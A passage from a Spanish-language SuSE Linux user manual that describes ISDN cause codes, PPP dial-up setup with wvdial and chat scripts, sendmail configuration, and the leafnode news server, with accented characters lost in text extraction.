cio.
#28 1C El nmero marcado no es vlido o no puede ser in-
terpretado por la red.

Tabla 7.1: Contina en la pgina siguiente ...

3 Con la autorizacin de: Institut fr Elektronische Systeme und Vermittlungstechnik der Uni-

versitt Dortmund: http://www-esv.e-technik.uni-dortmund.de

176
7.2. Acceso Internet va RDSI - la configuracin

#29 1D La red no puede prestar cierto servicio que se ha so-


licitado junto con la llamada.
#30 1E Indica que el mensaje STATUS fue enviado en re-
spuesta a una solicitud de estado, STATUS EN-
QUIRY.
#31 1F Si no hay ninguna causa del grupo Normal que se
pueda aplicar, se indica sta misma.

Grupo 2: Recursos no disponibles

#34 22 Todos los canales B (canales de voz) o todos los


canales virtuales (X.25) de la central telefnica estn
ocupados.
#38 26 La red de comunicacin est fuera de servicio y lo
seguir estando por algn tiempo ms.
#41 29 La central de conmutacin sufre un error temporal,
por lo tanto tiene sentido repetir el intento de es-
tablecimiento de llamada.
#42 2A La central telefnica que enva esta causa, actual-
mente no tiene ningn canal disponible, por sobre-
carga.
#43 2B La informacin de acceso enviada por el solicitante
de la llamada (p. ej. contrasea en el elemento UTU,
datos LLC o HLC) no se pudo pasar al abonado lla-
mado.
#44 2C La interfaz del abonado llamado no puede ofrecer el
canal solicitado.
#47 2F Si hay algn recurso no disponible, que no se puede
explicar con alguna causa del grupo Recursos no
disponibles, se enva esta razn como causa.

Grupo 3: Servicio u opcin no disponible

#49 31 No es posible cumplir la caracterstica de calidad


(tasa de transferecia o dilacin) segn X.213.
#50 32 El usuario no tiene permiso para acceder al servicio
solicitado, ya que no esta dado de alta como usuario.
#57 39 El usuario no tiene permiso para usar el servicio so-
licitado en la instalacin de origen.
#58 3A El servicio solicitado no est disponible actualmente.

Tabla 7.1: Contina en la pgina siguiente ...

177
7. Conectarse con el mundo RDSI, PPP, Fax : : :

#59 3B Se indica un servicio o una opcin no disponible que


no est cubierta por las razones anteriormente men-
cionadas.

Grupo 4: Servicio u opcin no implementada

#65 41 El dispositivo emisor no es capaz de proporcionar la


propiedad bearer capabiltiy solicitada.
#66 42 El tipo de canal solicitado no est disponible.
#69 45 La propiedad del servicio solicitado no est imple-
mentada.
#70 46 El usuario solicit la transferencia ilimitada de in-
formacin digital, sin embargo solo se permite una
transferencia limitada.
#79 4F Un servicio o una opcin, que no est entre las causas
anteriores, no est implementada.

Grupo 5: Mensaje no vlido, parmetro inadmis-


ible

#81 51 Se recibi una llamada con un valor de referencia


de llamada (Call Reference Value) actualmente no
vlido en la red.
#82 52 El canal solicitado no existe en la interfaz que origina
esta causa. Esto ocurre p. ej. con CHI = 26 sobre una
interfaz PCM 24.
#83 53 Se intent sacar una llamada en estado de espera con
una ID de llamada no vlida.
#84 54 Se intent utilizar una ID de llamada que ya est en
uso dentro del mbito del equipo que controla el es-
tado de las llamadas.
#85 55 Se intent reanudar una llamada, aunque no hubo
ninguna llamada en espera.
#86 56 La llamada con la ID solicitada ya se reaunud.
#88 58 La interfaz del abonado llamado no es capaz de
cumplir con los atributos solicitados, como p. ej.
LLC o HLC.
#91 5B Se solicit una red de traspaso de un modo incom-
patible.
#95 5F Si no existe ninguna causa de las mencionadas en
este grupo, se enva este mensaje.

Grup 6: Fallos de protocolo

#96 60 Falta un elemento informativo imprescindible.

Tabla 7.1: Contina en la pgina siguiente ...

178
7.3. PPP

#97 61 El dispositivo que enva este error, recibi un tipo


desconocido de llamada o no implementado.
#98 62 Se recibi un mensaje no permitido respecto al es-
tado de la llamada o un mensaje tipo STATUS en
estado no vlido.
#99 63 Se recibi un elemento informativo desconocido o no
implementado. Es posible suprimir este elemento en
el prximo intento para conseguir la funcin deseada.
#100 64 El contenido de un elemento informativo no es vlido
y no puede ser usado por el dispositivo que enva la
causa.
#101 65 Se recibi un mensaje no vlido respecto al estado
actual de la llamada.
#102 66 Se inici un procedimiento para restablecer una
conexin estable, como reaccin a la expiracin de
un temporizador.
#111 6F Ocurri un error no especificado en este grupo.

Tabla 7.1: RDSI-Causes en castellano

7.3 PPP
PPP (ingl. Point to Point Protocol) ofrece la posibilidad de usar TCP/IP a
travs de un cable serie. Cliente y servidor de la conexin PPP pueden ne-
gociar durante el inicio de la conexin diversos parmetros del protocolo. El
servidor puede comunicar al cliente su direccin IP y a su vez asignarle una
direccin.
Al contrario de SLIP, PPP tiene un estndar definido y representa ahora la
nica posibilidad de comunicacin de casi todos los proveedores de Internet.
La clave de PPP est en el daemon PPP (pppd), que forma la interfaz para
acceder a los dispositivos PPP. Puede actuar de cliente y tambin de servidor.
Del establecimiento de la conexin en s se encarga el programa wvdial o el
programa chat.

7.3.1 Requisitos para PPP


Los requisitos para el uso del protocolo PPP en SuSE Linux son:

 El kernel tiene que soportar TCP/IP y PPP! Este es el caso para el kernel
estndar y los mdulos que proporcionamos, por lo tanto no es preciso
compilar un kernel propio.
 Los paquetes de red deben estar instalados; el paquete nkita y el paquete
nkitb, serie a son imprescindibles.
 El paquete ppp, serie n que contiene el daemon pppd y el programa chat.
 Tiene que conocer el login y la contrasea del servidor PPP.

179
7. Conectarse con el mundo RDSI, PPP, Fax : : :

7.4 Acceso analgico a Internet: PPP con wvdial


El programa wvdial es una herramienta potente para establecer conex-
iones analgicas a un proveedor de Internet (ISP (ingl. Internet Service
Provider)). Los ISPs pueden usar ajustes diferentes en el protocolo PPP, lo
que dificulta a veces encontrar las opciones correctas. El programa wvdial es
capaz de encontrar estas opciones basndose en algoritmos inteligentes.
Anteriormente, cuando se estaba configurando el acceso a Internet, siempre
era necesario indicar el servidor de nombres del ISP. Usando wvdial esto ya
no hace falta, ya que este programa reconoce automticamente el servidor de
nombres del ISP, si ste transmite la informacin necesaria.

7.4.1 Configuracin de wvdial


Es posible configurar cmodamente wvdial desde YaST; el men para ello
se encuentra bajo `Adminstracin del sistema', `Configuracin de
red', `Configurar red PPP' y se puede ver en la Figura 7.5.

Figura 7.5: Configruacin de los parmetros de wvdial con YaST

Proceda de la siguiente manera:

 Cercirese de que YaST ya ha configurado correctamente el modem; esto


ya fue hecho durante la primera instalacin o en caso contrario se puede
efectuar ahora (ver el apartado 3.7.1, Pgina 90).
 Seleccione la opcin `Configuracin del proveedor'.
 Introduzca el nmero de telfono, el nombre de usuario que le ha dado el
proveedor y la contrasea.
 Seleccione la configuracin automtica del servidor de nombres. Si esto
no funciona, se debe configurar con YaST de la forma habitual. (ver el
apartado 3.7.3, Pgina 95).
 Seleccione el tipo de marcacin, normalmente es por tonos.

180
7.4. Acceso analgico a Internet: PPP con wvdial

 Si el modem esta conectado a una centralita marque la opcin `Modem


en centralita' para que el programa no espere el tono de marcacin.
 `PPP-directo-PAP/CHAP' debera funcionar siempre como modo de
entrada.
 Salga del sub-menu.
 Despus de la configuracin de proveedor se pasa al reconocimiento del
modem. Simplemente seleccione la opcin `Iniciar reconocimiento
modem'.
 Si este reconocimiento funciona, seleccione `Iniciar wvdial y
llamar ISP'. Entonces aparecer una ventana con varios mensajes.
 Cuando aparezca el mensaje que indica que el proceso PPP se ha iniciado,
ya puede usar Internet.
   
Compruebe la existencia de una conexin. Para ello abra una ventana
de terminal adicional (en KDE: Alt + F2 y despus teclear xterm) e
introduzca en esta ventana:
tierra: # su -

y despus la contrasea de `root'. Ahora introduzca:


tierra: # tail -f /var/log/messages

As se pueden ver los mensaje del sistema en el momento de su aparicin.


Cuando es posible ver lneas con "Local IP:" y "Remote IP:" cada
una seguida de un nmero IP puede estar seguro de haber establecido la


conexin a Internet.
 + c .
Termine el acceso a Internet con Ctrl  
 Si la conexin ha funcionado, grbela, en caso contrario, analice la ven-
tana de mensajes y el fichero /var/log/messages para conseguir una
pista sobre lo que pudo ocurrir. Considere tambin la posibilidad de un
error por parte del proveedor; la conexin PPP es uno de los pocos prob-

  + c en la shell que le sirvi para


lemas que tal vez se resuelven sin ms, un da despus.
Para terminar wvdial.tcl pulse Ctrl  
iniciar wvdial.tcl.
 Si todo ha funcionado, es posible iniciar la conexin a Internet desde la
lnea de+ tastec
comandos lanzando sencillamente wvdial y terminndolo con
 
Ctrl . Para hacer esto tambin como usuario normal (no como
superusuario `root'), es necesario apuntar este usuario normal en los
grupos `uucp' y `dialout'. Para ello puede usar YaST (ver aparta-
do 3.7.8, Pgina 101).
 Para modificar la configuracin sin YaST posteriormente, es posible uti-
lizar wvdial.lxdial o con superficie grfica wvdial.tcl; esto solo se
puede realizar como `root'.
En el directorio /usr/doc/packages/wvdial se encuentra documentacin
sobre wvdial.

7.4.2 Configuracin manual de PPP para profesionales


Si por alguna razn la configuracin del acceso a Internet no hubiera fun-
cionado, es posible seguir los pasos que se detallan a continucacin para es-

181
7. Conectarse con el mundo RDSI, PPP, Fax : : :

tablecer una configuracin manual. Sin embargo, es preferible usar wvdial al


comenzar con la configuracin.

Hay algunas configuraciones y scripts de ejemplo en el paquete inetcfg,


serie n, en el paquete ppp_nt y en el paquete toppp, serie doc.

Establecer la conexin
La conexin PPP se establece en dos pasos:
 Primero se crea la conexin entre los dos modems. De esto se encarga el
programa chat.
 Una vez establecida la conexin, chat se ocupa tambin de entrar al servi-
dor (login) y pasa despus el control al daemon PPP. Este inicia despus
el protocolo PPP.
Despus de haber instalado el paquete inetcfg, encontrar en el directorio
/usr/doc/packages/inetcfg el script ppp-up, el cual se debe copiar al
directorio /etc/ppp para modificarlo posteriormente segn sus necesidades.
Con ppp-up se inicia entonces la conexin PPP.

#!/bin/sh
#
# /etc/ppp/ppp-up
#
# Establecimiento de una conexin PPP
#

localip=0.0.0.0
remoteip=

device=/dev/modem

pppflags="38400 modem debug defaultroute"

/usr/sbin/pppd lock connect \


'/usr/sbin/chat -v -f /etc/ppp/ppp.chat' \
$device $pppflags $localip:$remoteip

Fichero 7.4.1: /etc/ppp/ppp-up

Primero se definen las direcciones IP de servidor y cliente. pppd preguntar


al servidor por su direccin y por la del cliente en caso de haber indicado
con anterioridad 0.0.0.0 como direccin IP del cliente y, si se ha dejado
vaco el campo para la direccin IP del servidor tal como se puede ver en
el Fichero 7.4.1, Pgina 182. Conociendo de antemano las direcciones o
descartando la asignacin dinmica de stas, se pueden anotar las direcciones
IP correspondientes.
Ms abajo se seala el dispositivo al cual est conectado el modem. Los
banderines (ingl. flags) avisan a pppd que se comunique a una velocidad
de 38400 bps con el modem y que se anote la conexin PPP como Default

182
7.4. Acceso analgico a Internet: PPP con wvdial

Route (Ruta predeterminada) en la tabla de routing del kernel. Existe una


multitud de banderines y opciones adicionales cuyos significados se explican
en la Manpage de pppd (man 8 pppd) y en el fichero /usr/doc/howto/
en/PPP-HOWTO.gz. El ejemplo bsico dado debera funcionar en la mayora
de los casos.
Ahora chat se encarga de establecer la conexin del modem, tal como se ha
definido en el fichero /etc/ppp/ppp.chat:

TIMEOUT 30
ABORT "NO CARRIER"
ABORT BUSY
ABORT "NO DIALTONE"
ABORT ERROR
"" +++ATZ
OK ATDT09113247122
CONNECT ""
ogin:--ogin: <ppplogin>
word: <ppppassword>

Fichero 7.4.2: /etc/ppp/ppp.chat

Las lneas que comienzan con ABORT, definen las respuestas del modem que
sealan una conexin fallida. La cadena +++ATZ sirve para inicializar el
mdem.

Con ATDT09113247122 el modem llama al servidor. Cuando el modem


recibe la cadena CONNECT, comienza el proceso de entrada al sistema (in-
gl. login). Primero se manda el nombre de entrada al servidor y despus
la contrasea. Hay ms informacin sobre chat en Manpage de chat
(man 8 chat).
Si los atributos de ambos ficheros estn configurados correctamente, la lla-
mada a ppp-up es suficiente para iniciar la conexin PPP.

La variable de entorno $PATH no contiene la rama en la que se encuentra


el script de llamada ppp-up, si lo ha grabado en /etc/ppp/ppp-up como
se ha explicado en este captulo, por este motivo debe iniciar la rama
completa para llamar al script:
tierra:/root # /etc/ppp/ppp-up
Antes tiene que poner el atributo `x' (ejecutable) del fichero, p. ej. medi-
ante:
tierra:/root # chmod 755 /etc/ppp/ppp-up

La conexin se finaliza parando el daemon PPP, lo que se puede realizar p. ej.


con el script /etc/ppp/ppp-down:
Aqu las comilla son muy importantes (comilla al revs ` 

, que se ob-
tiene pulsando dicha tecla seguida de un espacio). Se trata de una
substitucin de comando con la cual se pasa el resultado del comando
cat /var/run/ppp0.pid al programa kill.

183
7. Conectarse con el mundo RDSI, PPP, Fax : : :

#!/bin/sh
#
# /etc/ppp/ppp-down
#
# Terminar conexin PPP
#

kill `cat /var/run/ppp0.pid`

Fichero 7.4.3: /etc/ppp/ppp-down

Adaptacin del Chat-script

Naturalmente hay que adaptar siempre el chat-script /etc/ppp/ppp.chat a


sus necesidades, introduciendo el nombre de entrada propio y la contrasea.
Muchas veces se cambia toda la secuencia de login y en algunos casos
es incluso necesario iniciar en la contraparte el protocolo PPP, p. ej. con el
comando ppp default. Para todo esto no hay ninguna descripcin genrica.
El proceso de entrada al sistema con un terminal es equiparable a un login
normal con la diferencia que este proceso manual se automatiza con el Chat-
script. Distinto sera el caso cuando se necesita una autorizacin especial a
travs de PAP, CHAP o similar.
Se recomienda seguir el procedimiento que se detalla a continuacin:

 Lea cuidadosamente la informacin del proveedor y averige si este ya


tiene un script para conectar; en caso positivo contacte por favor con
nosotros para que podamos coleccionarlos y a su vez ponerlos en nuestra
distribucin. Puede acceder a esta informacin mediante nuestro banco
de datos de soporte que se encuentra en:
http://www.suse.de/sdb/de/html/
 Prepare lpiz y papel!
 Conecte manualmente con un programa de terminal (p. ej. Minicom
(minicom -s)) y efecte el login, anotando exactamente lo que se
manda, en cul orden y cules son las indicaciones necesarias por parte
del usuario. La mayora de los programas de terminal (como tambin
 + l (La combi-
minicom) permiten protocolar los textos en pantalla. En el caso de
minicom se alcanza con la combinacin de teclas Alt 
    
nacin Alt 
+ z 
muestra una lista de todas la combinaciones posibles!).
 Siga en este proceso hasta el momento en el cual la contraparte cambia
al modo PPP, lo que debera ser visible a travs de un mensaje, p. ej.
"ppp-protocol started".
  + h )
La conexin que existe en aquel momento se cancela simplemente col-
gando (Minicom: Alt  
   
Termine el programa de terminal (Minicom Alt 
+ x 
)
 Puede adaptar ahora el chat-script con el protocolo de la conexin manual.

A continuacin un par de explicaciones adicionales acerca de chat.

184
7.4. Acceso analgico a Internet: PPP con wvdial

El programa chat se inicializa mediante la primera secuencia:


TIMEOUT 30
ABORT "NO CARRIER"
ABORT BUSY
ABORT "NO DIALTONE"
ABORT ERROR

El tiempo de espera TIMEOUT depende individualmente del tiempo nece-


sario para establecer la comunicacin y debe ser ms alto en algunos casos,
p. ej. 60.

El comando ABORT indica, con cules respuestas por parte del modem, debe
terminarse el script.
Las siguientes lneas en el script siguen el esquema expuesto a continuacin:
El primer parmetro (hasta el primer espacio), indica lo que el programa debe
esperar; si recibe esta cadena de parte del modem, el programa responde
mandndole el contenido del resto de la lnea.
+++ATZ
Aqu no se espera ninguna cadena si no se inicializa el modem inmediata-
mente, pero esto depende de su modem y del perfil almacenado. El comando
ATZ carga normalmente el perfil 0 del modem (lo mismo ocurre despus de
encenderlo). Tal vez tendr que poner un comando diferente; para saberlo
puede comparar p. ej. con su software de conexin de DOS o de Windows.

Si su modem hace cualquier cosa menos lo que debera hacer, es posible


que se haya desajustado por completo, de tal manera que a veces el prob-
lema ni siquiera se resuelve con un ATZ. En este caso, lo mejor es enviar
el comando AT&F al modem usando p. ej. Minicom. Con esto, el modem
se resetea a la configuracin de fbrica.

Ahora se marca y se ejecuta la secuencia de login, p. ej.:


OK ATDT<nmero_de_telfono>
CONNECT ""
ogin:--ogin: <cuenta>
word: <contrasea_cuenta>
Introduzca las variables que corresponden a su instalacin en lugar de:
<nmero_de_telfono>, <cuenta> y <contrasea_cuenta>.

Tenga en cuenta que en este ejemplo se busca solamente word:, porque la


secuencia exacta mandada podra ser igualmente Password: o password:.
Con la lnea
ogin:--ogin:
se pretende conseguir una cierta flexibilidad a la hora de detectar la cadena
que pide la entrada al sistema, ya que se manda un `Return' si la primera ca-
dena (ogin:) no fue detectada esperando despus otra vez la cadena (ogin:).
La Manpage de chat (man 8 chat) contiene ms informacin y ejemplos al
respecto.
All se encuentra tambin la motivadora advertencia:

185
7. Conectarse con el mundo RDSI, PPP, Fax : : :

In actual practice, simple scripts are rare.

Ningn Chat-script debe contener ninguna lnea vaca, ningn espacio al


comienzo de la lnea y ningn comentario.

Se puede probar ahora la conexin con el comando /etc/ppp/ppp-up. Los


mensajes de error que genera p. ej. el Chat-script no aparecen en pantalla sino
que se apuntan en el fichero /var/log/messages. Las entradas actuales se
pueden visualizar introduciendo en una segunda consola el comando:
tierra:/ # tail -f /var/log/messages
De este modo se ve en seguida cuando aparecen mensajes importantes.
Otro consejo:
Guardar bien un script que funciona. A la mayora de las personas que
conocemos no les gusta mucho escribir estos scripts y por eso les invitamos
otra vez a mandarnos por favor el script con la indicacin del proveedor, de
la universidad, etc., pero naturalmente sin la contrasea! ;-)

7.4.3 Informacin adicional sobre PPP


PPP ofrece una multitud de posibilidades para configurar la conexin; tantas,
que sera demasiado presentarlas todas aqu. Si necesita ms opciones puede
consultar los respectivos manuales, p. ej. en los ficheros NET-2-HOWTO.gz y
PPP-HOWTO.gz, que estn en el directorio /usr/doc/howto o en los ficheros
de documentacin en el directorio /usr/doc/packages/ppp.
En las siguientes referencias hay detalles sobre los protocolos utilizados por
PPP:

 RFC1144: Jacobson, V. Compressing TCP/IP headers for low-speed


serial links. 1990 February;
 RFC1321: Rivest, R. The MD5 Message-Digest Algorithm. 1992
April;
 RFC1332: McGregor, G. PPP Internet Protocol Control Protocol
(IPCP). 1992 May;
 RFC1334: Lloyd, B. Simpson, W.A. PPP authentication protocols." 1992
October;
 RFC1548: Simpson, W.A. The Point-to-Point Protocol (PPP). 1993
December;
 RFC1549: Simpson, W.A. PPP in HDLC Framing. 1993 December;

7.5 Vamos a escribir Configuracin de E-Mail


Una vez que nos podemos comunicar con el mundo, ya sea mediante UUCP,
PPP o RDSI, tambin lo queremos aprovechar. Una aplicacin tpica para
ello es el E-Mail, el correo electrnico, por lo que le presentamos aqu un
apartado sobre la configuracin de sendmail4 .
4 Alternativas a sendmail son smail o qmail; estos programas no son objeto de discusin en este

libro.

186
7.5. Vamos a escribir Configuracin de E-Mail

sendmail decide con cul medio enviar los E-Mail: a travs de una red
TCP/IP con el protocolo SMTP, directamente a la carpeta local de E-Mail
de un usuario o a travs de otros programas como UUCP.
El fichero de configuracin principal de sendmail es /etc/sendmail.cf.
Con YaST se puede generar el fichero /etc/sendmail.cf, que sirve para
una configuracin sencilla. De hecho los parmetros de la configuracin
se apuntan primero en /etc/rc.config; SuSEconfig los toma de all y
genera el fichero /etc/sendmail.cf usando para ello /sbin/conf.d/
SuSEconfig.sendmail.
Los ficheros de configuracin de sendmail son muy complejos pero no se
asuste, pues SuSE Linux trae dos configuraciones preparadas que cubren
todos los casos que generalmente ocurren.
Usando sendmail dentro de una red TCP/IP, es casi obligatorio apoyarse en
un servidor DNS. En este se debera poner una entrada extra (MX record,
mail exchange record) para los E-Mail. La configuracin actual se puede
comprobar con el comando host del paquete bind:
tierra: # host sol.cosmos.univ
sol.cosmos.univ address 192.168.0.1
sol.cosmos.univ mail is handled (pri=10) by sol.cosmos.univ
sol.cosmos.univ mail is handled (pri=100) by mail-relay.cosmos.univ
Si no aparece ninguna entrada para mail, habr que pedir ayuda al admin-
istrador de DNS.
Usando YaST es posible ajustar los siguientes parmetros para la configu-
racin de E-Mail en /etc/rc.config (ver apartado 17.6, Pgina 387):
 SENDMAIL_TYPE="yes"
Esta variable debe tener el valor yes, en caso de que el fichero de config-
uracin de sendmail se deba formar con los valores definidos en /etc/
rc.config. Si quiere generar /etc/sendmail.cf por su cuenta, deber
poner la variable en no.
 SENDMAIL_LOCALHOST= "localhost sol.cosmos.univwww.cosmos.univ"
sendmail tiene que saber cul E-Mail se almacena localmente y cul
tiene como destino otra computadora. Solo los E-Mail que van a la
computadora local se guardan por defecto como E-Mail locales. Usando
SENDMAIL_LOCALHOST se puede indicar nombres de computadoras adi-
cionales separados por espacios que se contemplan como si fueran
locales.
Ejemplo: La computadora se llama sol.cosmos.univ y es tambin servi-
dor web para www.cosmos.univ. Para que se acepte el E-Mail enviado
a www.cosmos.univ, hay que anotar lo siguiente:
SENDMAIL_LOCALHOST="localhost www.cosmos.univ".
 FROM_HEADER=cosmos.univ
Normalmente la direccin del remitente es el nombre de la computadora
local; este parmetro permite cambiarlo a cualquier otro nombre.
Ejemplo: La computadora se llama tierra.cosmos.univ, pero el E-
Mail debe llegar con el remitente tux@cosmos.univ. Se hace con la
siguiente definicin:
FROM_HEADER=cosmos.univ.

187
7. Conectarse con el mundo RDSI, PPP, Fax : : :

 SENDMAIL_SMARTHOST=mail-server.provider.de
A todos los E-Mail no locales, sendmail pregunta por los datos DNS
para despus enviarlos con el protocolo SMTP a la computadora destino.
Esta puede estar en cualquier rincn del mundo (donde haya Internet) y
la conexin hacia ella puede ser bastante lenta. Con el parmetro men-
cionado se puede indicar una computadora intermedia que recibe todo el
E-Mail no local, para enviarlo luego a su destino.
Ejemplo 1: Con el siguiente ejemplo se puede entregar todo el E-Mail al
proveedor, el cual se encarga despus de dejarlo en Internet:
SENDMAIL_SMARTHOST=smtp:servidor-correo.proveeder.es.
Ejemplo 2: Si est conectado va UUCP, puede pasar todo el E-Mail no-
local al servidor UUCP:
SENDMAIL_SMARTHOST=uucp-dom:uucp.cosmos.univ.
 SENDMAIL_NOCANONIFY=no
sendmail comprueba todas las direcciones de E-Mail en los encabeza-
dos y reemplaza los nombres con los Fully Qualified Domain Names
(FQDN) (los nombres de dominio totalmente cualificados). Esta opcin
se puede desactivar con yes si al escribir los E-Mail siempre pone el
nombre totalmente cualificado o cuando (por una conexin telefnica) no
siempre tiene acceso a un servidor DNS.
 SENDMAIL_ARGS="-bd -q30m -om"
Cuando la computadora arranca, sendmail se inicia con los parmetros
que se indican aqu.
-q30m significa que sendmail comprueba cada 30 minutos si todava hay
E-Mail no enviado en el directorio de cola /var/spool/mqueue.
-bd hace que sendmail se inicie en el daemon mode (modo daemon)
para aceptar el E-Mail de otras computadoras a travs de la red TCP/IP.
En caso de conexiones dialup (conexiones temporales por telfono) se
podra p. ej. suprimir -q30m y mandar los E-Mail solo con una llamada
directa con sendmail -q; esta llamada a su vez se podra automatizar
con una entrada en crontab y as p. ej. mandar el correo una vez al da.
Otra posibilidad es la de incorporar sendmail -q en los scripts de es-
tablecimiento de conexin con lo cual se transfiere el E-Mail cada vez
que se establece la comunicacin.
 SENDMAIL_EXPENSIVE=no
sendmail intenta pasar inmediatamente el E-Mail a travs de SMTP a la
prxima computadora. Si la conexin a Internet es temporal (Dial-On-
Demand), tal vez no quiera realizar una conexin al proveedor para cada
E-Mail que haya escrito.
Si escoge yes, todo el E-Mail se guarda primero en el directorio de cola
/var/spool/mqueue y se enva ms tarde.
Todo el E-Mail local se guarda en las carpetas locales de E-Mail
(/var/spool/mail/<name>) usando el programa procmail. Este progra-
ma es muy flexible y se explica en detalle en Manpage de procmailrc
(man procmailrc), en Manpage de procmailex (man procmailex) y en
Manpage de procmail (man procmail).
Si no es posible enviar el E-Mail, los mensajes se guardan en el directorio de
cola /var/spool/mqueue y sendmail los transmite en el prximo Queue-

188
7.6. News: Las noticias ms actuales de USENET

Run. El intervalo de tiempo de los Queue-Runs debe indicarse cuando


se inicia sendmail o la transferencia de mensajes comienza explcitamente
cuando se ejecuta sendmail -q.
Los ajustes adicionales de sendmail se realizan en los ficheros /etc/
aliases y en algunos ficheros en el directorio /etc/mail/. Los ficheros
contienen ejemplos desactivados por smbolos de comentario. Algunos de los
ficheros de texto deben ser convertidos a ficheros de banco de datos usando
el programa makemap; este proceso se inicia automticamente ejecutando
SuSEconfig o saliendo de YaST.
Para realizar una configuracin compleja es mejor desactivar la generacin
automtica de /etc/sendmail.cf, poniendo SENDMAIL_TYPE=no, y usar
/etc/mail/linux.mc como plantilla para la configuracin propia. linux.
mc contiene instrucciones para m4, as que
tierra: # m4 /etc/mail/linux.mc > /etc/sendmail.cf
genera una configuracin de sendmail vlida, usando las macros en /usr/
share/sendmail.
Los directorios /etc/mail, /usr/share/sendmail y /usr/doc/packages/
sendmail contienen documentacin adicional. En cuanto a documentacin
en el web, lo mejor es comenzar con http://www.sendmail.org/. Para
tareas ms complejas probablemente sea inevitable consultar el libro de la
editorial OReilly 5 , que contiene una documentacin muy buena y amplia
sobre la configuracin de sendmail.

7.6 News: Las noticias ms actuales de USENET


Uno de los servicios ms importantes que ofrece Internet es la transmisin
y distribucin de noticias, organizadas por temas en distintos grupos (ingl.
Newsgroups). Esta parte de Internet se denomina USENET, cuya existen-
cia hizo posible el desarrollo de Linux y, solo gracias a esta forma de comu-
nicacin libre y altamente eficaz, Linux sigue desarrollndose rpidamente
tal como se pueden arreglar, igual de rpido, errores del sistema 6 . Adems,
respecto al soporte, la USENET es un medio importante entre los usuarios de
Linux.
La descripcin completa de un sistema de noticias con todas sus posibilidades
(como p. ej. los traspasos a otras computadoras) sera demasiado para este
libro, as que aqu nos limitamos a la configuracin de un sistema local de
noticias.

Para sistemas grandes se recomienda apoyarse en el paquete inn, serie


n. En /usr/doc/packages/inn hay consejos para la instalacin de INN,
programa tambin preferible para los sistemas UUCP. El soporte de insta-
lacin no cubre la configuracin de INN (ver apartado H.1.2, Pgina 481).

5 ver [CAR93].
6 En realidad ahora son muchas las listas de correo, en diversas reas, que cumplen con esta
funcin.

189
7. Conectarse con el mundo RDSI, PPP, Fax : : :

7.6.1 El sistema de noticias Leafnode


El paquete leafnode es un sistema de noticias, idneo para redes pequeas o
computadoras solitarias con una conexin a Internet sencilla y no necesaria-
mente rpida . El paquete contiene varias partes: El servidor NNTP leafnode
en si, el programa fetch para traer las noticias y el programa texpire para bor-
rar las noticias antiguas o las que han dejado de ser interesantes; aparte hay
herramientas para administrar los datos en /var/spool/news. El uso de
todos estos componentes se documenta en /usr/doc/packages/leafnode
tal como en Manpage de leafnode (man 8 leafnode) y los Manpages,
que se mencionan all.

Requisitos para la instalacin de Leafnode


 Hay que tener acceso directo a un servidor NNTP externo a travs de
modem (PPP), una conexin RDSI u otra conexin de red (p. ej. Ether-
net). Desde este servidor NNTP puede recibir entonces las noticias (ingl.
News). En caso de duda pregunte a su proveedor de Internet por los datos
del servidor NNTP a usar.
 El paquete leafnode, serie n debe estar instalado.
 Espacio de disco en /var/spool/news ;-)
 Pasar por los puntos que figuran a continuacin.

Servidor local de NNTP


Cercirese que Leafnode corre como servidor NNTP local
1. Ponga la variable <NNTPSERVER> del fichero /etc/rc.config en
localhost. Por supuesto puede indicar tambin el nombre verdadero
de su computadora en lugar de localhost (p. ej. tierra), si su computa-
dora est configurada correctamente; de hecho esto es obligatorio en una
red. Lo ms seguro para definir la variable <NNTPSERVER> es el uso
 del formulario.
de YaST (ver apartado 3.7.10, Pgina 101), ya que YaST inicia automti-
camente el script SuSEconfig cuando se sale con F10 
2. Adapte el fichero /etc/leafnode/config a sus necesidades mediante
un Editor . En la lnea de server = es obligatorio indicar el nombre
del servidor NNTP de su proveedor.
3. El inetd tiene que iniciar leafnode. Para ello habilite la lnea con nntp
en /etc/inetd.conf, borrando en esa misma lnea el smbolo `#' (ver
Fichero 7.6.1, Pgina 190).
4. Inicie inetd de nuevo a mano, para que la nueva configuracin tenga
efecto; para ello puede usar el comando rcinetd restart.

nntp stream tcp nowait news /usr/sbin/tcpd


/usr/sbin/leafnode

Fichero 7.6.1: Entrada en inetd para leafnode

Ahora a nivel local, est todo preparado para establecer, por primera vez, el
contacto con el servidor de noticias del proveedor.

190
7.6. News: Las noticias ms actuales de USENET

Con el comando telnet localhost 119 puede comprobar si leafnode


responde. Si es el caso, introduzca quit, para volver a la lnea de coman-
do.

Iniciar y usar el sistema de noticias


Ahora puede inicializar el sistema. Si an no lo ha hecho, establezca una
conexin IP hacia su proveedor de Internet (generalmente por modem o In-
ternet). Durante el primer contacto con fetch, la informacin disponible
sobre los grupos de noticias, se copia desde el servidor al directorio local
/var/spool/news/interesting.groups. Para observar en detalle lo que
hace fetch, use la opcin -vvv:
tierra:~ # fetch -vvv
An no hay artculos disponibles sin embargo tiene que usar un lector de
noticias NNTP y echar un vistazo a los grupos que todava estn vacos (ver
apartado 7.6.1, Pgina 191). leafnode toma nota de ello y llenar exactamente
estos grupos con noticias cuando se ejecute la prxima vez fetch.
Puede incorporar la llamada a fetch en su script de inicio de conexin /etc/
ppp/ip-up, para no tener que hacerlo a mano cada vez que se conecte a
Internet.

Administrar el sistema de noticias


leafnode se dise segn el principio de la auto-administracin. Esto quiere
decir que, fetch deja de traer las noticias de un determinado grupo si s-
tas no fueron consultadas por parte de ningn usuario, durante un perodo
determinado.
La nica preocupacin es bsicamente la de borrar artculos antiguos; de
esto se encarga texpire. El fichero /etc/crontab ya contiene una lnea
correspondiente simplemente borre el smbolo de comentario `#' como se
muestra en Fichero 7.6.2, Pgina 191 (todo debe estar en una sola lnea!).

0 22 * * * root test -x /usr/sbin/texpire && /usr/sbin/texpire

Fichero 7.6.2: Lnea de texpire para leafnode en /etc/crontab

En Manpage de leafnode (man leafnode) hay detalles sobre las posibili-


dades de ajuste que se pueden realizar mediante el fichero /etc/leafnode/
config.

Leer las noticias


Para leer las noticias existen diferentes programas al alcance como p. ej. nn,
tin o pine; se puede usar tambin Netscape o Emacs. La eleccin es final-
mente una cuestin de gusto personal. Es posible configurar los lectores de
noticias para el acceso a un servidor de noticias lo usual en una red o
para el acceso al directorio spool local. La serie n de SuSE Linux incluye
paquetes que estn configurados de este modo.
Si se desea acceder al servidor-NNTP leafnode con tin, entonces active lector
de noticias con el comando rtin (ver apartado 7.6.1, Pgina 190).

191
7. Conectarse con el mundo RDSI, PPP, Fax : : :

7.7 Linux + Fax: Una buena combinacin!


Hay dos posibilidades para usar su PC Linux como un fax:
 Usar mgetty en combinacin con sendfax o
